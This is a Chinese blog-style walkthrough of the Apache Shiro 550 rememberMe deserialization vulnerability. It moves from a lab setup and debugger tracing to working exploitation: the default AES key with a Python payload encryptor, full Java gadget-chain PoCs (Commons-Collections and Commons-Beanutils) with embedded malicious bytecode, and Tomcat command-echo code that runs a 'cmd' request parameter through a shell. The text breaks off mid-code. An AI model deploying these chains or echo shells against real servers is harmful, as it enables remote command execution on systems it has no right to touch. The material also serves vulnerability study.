shiro 550
shiro 550是对cookie中的RememberMe反序列化导致的漏洞,虽然16年就爆出了,但是现在在突破边界还是很好用
环境搭建
编辑器:IDEA 2020
java版本:jdk1.8.0_65
tomcat版本 : Tomcat 8.5.
shiro版本:shiro-root-1.2.4
组件:commons-collections4
下载shiro-root-1.2.4 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
下载完成后进入samples/web目录,直接修改pom文件添加依赖
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependencies>
如果用maven打包时遇到如下错误,则就改maven下的配置文件maven/conf/toolchains.xml
Failed to execute goal org.apache.maven.plugins:maven-toolchains-plugin:1.1:toolchain (default) on project samples-web: Misconfigured toolchains.
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>/Library/Java/JavaVirtualMachines/1.6.0.jdk</jdkHome>
</configuration>
</toolchain>
直接用idea打开samples/web目录,配置tomcat运行即可
加密过程分析
漏洞的解密过程大概是这样
因为使用AES加密需要一个key,而这个key存储在/shiro-core-1.2.4.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.class
中,这个DEFAULT_CIPHER_KEY_BYTES
就是加密时用的key,正是因为key是固定的,导致我们可以自定义AES加密
在这个类下有一个onSuccessfulLogin
方法是对登录成功的,我们下个断点跟一下
登录时记住要勾选Remember Me
收到数据了我们跟入this.forgetIdentity
方法,这个方法处理了request和response请求,我们跟入this.forgetIdentity(request, response)
方法
继续跟入removeFrom
方法
这个方法做的是获取一些配置信息,并把这些信息通过addCookieHeader
方法放到response包中
我们一直往下跟,回到了最开始的onSuccessfulLogin
中,这个if判断是判断rememberme按钮是否被选中,跟入rememberIdentity
方法
可以看到传入的authcInfo
存储着账号和密码,我们跟入rememberIdentity
方法
进入之后发现convertPrincipalsToBytes
转化为bytes,我们跟入
跟入之后发现会将传入的参数序列化,随后使用encrypt
方法进行加密,我们跟入encrypt
this.getCipherService()
字面意思是获取密码服务,赋值给cipherService
,我们可以看一下cipherService
里的内容,采用了AES/CBC/PKCS5Padding 128位加密,随后调用getEncryptionCipherKey()
获取key进行加密,其中这个key就是我们一开始说的那个key
解密过程分析
抓取登录的返回包会发现给浏览器set-cookie了一个rememberMe
刷新网页的时候就会带rememberMe,这是判断shiro框架的一个重要标志
获取客户端数据是从getRememberedPrincipals
开始的,我们对这个方法下一个断点,直接进入getRememberedSerializedIdentity
this.getCookie().readValue
方法要从cookie中读数据了,这个必须跟入
this.getName()
获取了名字为rememberMe,随后根据名字从request获取名字对应的内容随后赋值给value返回
之后将获取的value
base64解码返回上层
返回getRememberedPrincipals
方法,其中convertBytesToPrincipals
对刚刚返回的bytes进行了处理,我们跟入
发现this.decrypt(bytes)
方法,我们跟入
跟入之后发现跟加密的方法有异曲同工之妙
解密之后将解密是数据进行反序列化,至此解密过程分析完毕
漏洞利用
我们之前由于加过CommonCollections4
的依赖,我们可以用cc2进行打
使用以下脚本将生成的cc2文件进行AES加密并进行base64编码
```
import sys
import base64
import uuid
from Cryptodome.Cipher import AES
def get_file_data(filename):
with open(filename,"rb") as f:
data = f.read()
return data
def aes_enc(data):
BS = AES.block_size
pad = lambda s:s +((BS - len(s)% BS) * chr(BS-len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key),mode,iv)
ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
return ciphertext
def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s : s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext
if name == 'main':
data = get_file_data("ser.bin")
print(aes_enc(data))
```
抓包里面有两个认证身份的参数,两个参数都存在的话默认是使用JSESSIONID,因此要把JSESSIONID删除再替换rememberMe才能生效
shiro下cc链的利用
由于cc6没有Java版本限制,并且3.2.1版本的cc用的更广,我们添加一个cc6的依赖,但使用cc6攻击shiro却发现没有成功
查看报错信息,说不能加载到Transformer
类
我们来到第一个报错的地方看一下
跟进deserialize
方法,发现ois不是原生的readObject
而是shiro自实现的方法
我们跟进ClassResolvingObjectInputStream类,发现重写了resolveClass方法,因此调用的是自己写的一个工具类ClassUtils中的forName方法,所以不能加载数组类
所以真正的原因就是shiro自带的这个方法不能加载数组类,因此我们要修改利用链去掉数组类
构造合适的利用链
cc链的命令执行方式主要由两种,一种是直接执行Runtime,另一种则是利用类加载器加载类
因为Runtime的方法需要数组类型,因此我们采用另一种方法,也就是cc3,从他的利用链可以看出他的核心是调用TemplatesImpl.newTransformer()
从而触发类加载器加载
我们将他前半部分拿出来,想办法执行newTransformer()
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
setFieldValue(templates,"_name","test");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
接下来我们看看cc6的利用链,他的下半部分可以调用transform
方法
```
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates);
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry,"test");
outerMap.remove(templates);
Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(outerMap,invokerTransformer);
```
而构造一个InvokerTransformer
通过调用newTransformer
即可
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
完整Poc
```
package org.apache.shiro.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class shiroCC {
public static void main(String[] args) throws Exception {
//CC3
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
setFieldValue(templates,"_name","test");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
//CC2
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
//CC6
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templates);
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry,"test");
outerMap.remove(templates);
Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(outerMap,invokerTransformer);
serialize(hashMap);
unserialize("ser");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}
```
最后也是成功弹出了计算器
无cc依赖下的利用
由于shiro本身带了一个依赖,在没有cc依赖的情况下,我们要打只能打commons-beanutils
我们先来了解CB攻击,首先CB是为了更好地利用JavaBean研发的,我们来简单了解一下JaveBean
Person类
```
package org.apache.shiro.CB;
public class Person {
public String name;
public int age;
public Person() {
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
public void setName(String name) {
this.name = name;
}
public void setAge(int age) {
this.age = age;
}
}
```
测试类
```
public class test {
public static void main(String[] args) throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
Person person1 = new Person("kaeiy",18);
System.out.println(person1.getName());
Person person2 = new Person("k0e1y",18);
System.out.println(PropertyUtils.getProperty(person2,"name"));
}
}
```
PropertyUtils.getProperty
和person1.getName()
其实是一样的,大家对比一下就知道是干啥的了,他会调用getname
方法
这里的流程其实是传入的是name
随后会把首字母大写Name
随后加上get
就变成了getName
结合之前cc3的链发现getOutputProperties
很符合上面的形式
TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer() ->
TemplatesImpl.getTransletInstance() ->
TemplatesImpl.defineTransletClasses() ->
TransletClassLoader.defineClass
可以用cc3试一下
```
public class cc3bean {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
setFieldValue(templates,"_name","test");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
```
成功执行
随后我们就要找一下谁调用了getProperty
方法,最终在BeanComparator
找到了compare
方法,并且两个参数都可控
经过寻找compare
方法在PriorityQueue
类的siftDownUsingComparator
方法有调用,而siftDownUsingComparator
经过readObject()
可以调用到,这也就是cc2链
所以利用链已经出来了
PriorityQueue.readObject() ->
PriorityQueue.siftDownUsingComparator() ->
BeanComparator.compare() ->
PropertyUtils.getProperty() ->
TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer()
所以poc已经出来了
```
package org.apache.shiro.CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class shiroCB {
public static void main(String[] args) throws Exception {
//CC3
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
setFieldValue(templates,"_name","test");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
//Commons-Beanutils
BeanComparator beanComparator = new BeanComparator("outputProperties");
//CC2
TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
setFieldValue(priorityQueue,"comparator",beanComparator);
serialize(priorityQueue);
unserialize("ser");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}
```
成功执行
shiro回显问题
shiro反序列化虽然可以执行命令,但是如果执行ipconfig
这种有回显的命令,我们根本是看不到的,于是我们要想办法让我们执行的命令回显
kingkk师傅的Tomcat中一种半通用回显方法
因为虽然没有显示回显,但是执行的结果肯定存储在tomcat中,我们只需要找到一个可以利用的位置,利用反射把内容读取出来即可
首先搭建一个servlet的环境,搭建过程自行百度
这里有一个注意的点,需要导入tomcat的jar包,否则查找堆栈时无法查看源码,导入后右键lib文件夹Add as Library即可,之后的只要关于tomcat源码的调试都需要添加这些包
创建如下代码并打上断点
访问网站之后,发现在doGet
之前,堆栈中已经有好多内容了,这些都是tomcat处理request和response请求的流程,接下来我们就要在这些类中找到一个能被我们获取的response
经过寻找在org.apache.catalina.core.ApplicationFilterChain
找到符合我们要求的类,在他静态代码块将lastServicedResponse
初始化
并且在106行将他赋值
虽然if判断为false,但我们用反射改为true即可
所以我们的流程是
反射修改ApplicationDispatcher.WRAP_SAME_OBJECT使他为真
初始化lastServicedRequest和lastServicedResponse两个变量
从lastServicedResponse获取内容并回显
附上代码
```
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
ThreadLocal
(ThreadLocal
ThreadLocal
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
? lastServicedRequest.get().getParameter("cmd")
: null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
ServletResponse responseFacade = lastServicedResponse.get();
responseFacade.getWriter();
java.io.Writer w = responseFacade.getWriter();
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(responseFacade);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set((Object) response, Boolean.FALSE);
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
w.write(output);
w.flush();
}
```
访问网页时要访问两次,第一次要通过反射来初始化
那我们可以回显了,该怎么和反序列化配合用呢?我们可以把这个类进行类加载,因此cc2,cc3,cc4都是可以用这个类,因为他们是调用了templatesimpl.newtransform
方法来进行的类加载
把提供的回显代码进行class的base64编码放到cc4中,再把cc4的序列化文件进行base64编码传参反序列化
使用如下代码进行接收参数反序列化,注意这里用Servlet环境会有问题(踩七八小时的坑)建议用springmvc或者springboot
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
try {
String input = request.getParameter("input");
System.out.println(input);
byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(input);
java.io.ObjectInputStream ois = new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(b));
ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
%>
如果不想搭建环境可以使用我搭建好的,配置好tomcat直接访问index.jsp即可
链接:https://pan.baidu.com/s/1WzOYwRqrDZs7CIdgIbMuxA?pwd=6666
提取码:6666
访问要访问两遍,因为第一次反射修改tomcat底层变量,第二次才能获取到
但是这种方法不能用于shiro,shiro的rememberMe功能,其实是shiro自己实现的一个filter。作为不出网情况下的命令执行还是蛮好用的
Litch1师傅的通用回显方法(不支持Tomcat7)以及Header长度限制绕过
Litch师傅是在 Tomcat 中全局存储 request 和 response 的变量,主要目标是寻找 tomcat 中哪个类会存储 Request 和 Response
随便打一个断点查找tomcat的堆栈
根据师傅的文章Http11Processor
的父类AbstractProcessor
存储了Request和Response,找到Http11Processor
的堆栈,发现已经给Request进行了赋值
我们进入AbstractProcessor
可以看到是protected final类型,说明只允许子类或者父类调用且赋值之后,对于对象的引用是不会改变的,那他是什么时候赋值的呢
我们看一下他的构造函数,发现是public类型的构造函数调用了protected类型的构造函数,将request和response进行了赋值
而resp如何获取呢,在resquest类中有函数可以获取
因此获取了Http11Processor
之后我们就可以获得req和resp,那我们如何获取Http11Processor
实例或者request、response
变量呢
在org.apache.coyote.AbstractProtocol.ConnectionHandler#process
函数的processor对象中发现有request、response
在process方法中通过this.getProtocol().createProcessor()
创建processor
对象,然后通过register方法进行了注册
打个断点进入register方法,发现可以获取response
global其实就是RequestGroupInfo
我们跟入setGlobalProcessor
继续跟入global.addRequestProcessor,可以看到把RequestInfo添加到processors中
processors是ArrayList类型
因此当前的利用链为
AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response
我们现在就要寻找存储着AbstractProtocol类的类或者AbstractProtocol类的子类,发现在Connector中有ProtocolHandler接口,而AbstractProtocol是他的实现类
所以现在调用链变成了这样
Connector----->AbstractProtocol$ConnectoinHandler------->global-------->RequestInfo------->Request-------->Respons
那么我们的 Connector 从哪里获取呢?在 Tomcat 启动的过程中,org.apache.catalina.startup.Tomcat#setConnector
会将 Connector 存储到 StandardService中,所以我们就可以从 StandardService 中获取到我们的 Connector
因此调用链变成了
StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response
那如何获取StandardService呢?这里先给出网上找的师傅的解释
双亲委派机制的缺点:
当加载同个jar包不同版本库的时候,该机制无法自动选择需要版本库的jar包。特别是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个问题,Tomcat放弃了双亲委派模型。
例如:
假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个ClassLoader在Tomcat就是WebAppClassLoader,通过Thread类中的getContextClassLoader()获取,当然也可以设置为指定的加载器,通过Thread类中setContextClassLoader(ClassLoader cl)方法通过设置类加载器。
Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反。
因此可以通过Thread.currentThread().getContextClassLoader()来获取当前线程的ClassLoader,然后获取StandardService
Thread.currentThread().getContextClassLoader()-->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response
shiro攻击测试
这里附上poc,使用方法和上面相同,还是对class进行base64编码,放到cc2中生成序列化文件,如果有用过天下大木头师傅的文件的,这个文件和他有点小区别,解决了命令执行时带空格参数执行不了的问题
```
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Response;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.util.List;
public class TomcatEcho extends AbstractTranslet {
static {
try {
boolean flag = false;
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
for (int i=0;i<threads.length;i++){
Thread thread = threads[i];
if (thread != null){
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("http")){
Object target = getField(thread,"target");
Object global = null;
if (target instanceof Runnable){
// 需要遍历其中的 this$0/handler/global
// 需要进行异常捕获,因为存在找不到的情况
try {
global = getField(getField(getField(target,"this$0"),"handler"),"global");
} catch (NoSuchFieldException fieldException){
fieldException.printStackTrace();
}
}
// 如果成功找到了 我们的 global ,我们就从里面获取我们的 processors
if (global != null){
List processors = (List) getField(global,"processors");
for (i=0;i<processors.size();i++){
RequestInfo requestInfo = (RequestInfo) processors.get(i);
if (requestInfo != null){
Request tempRequest = (Request) getField(requestInfo,"req");
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
Response response = request.getResponse();
String cmd = null;
if (request.getParameter("cmd") != null){
cmd = request.getParameter("cmd");
}
if (cmd != null){
System.out.println(cmd);
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
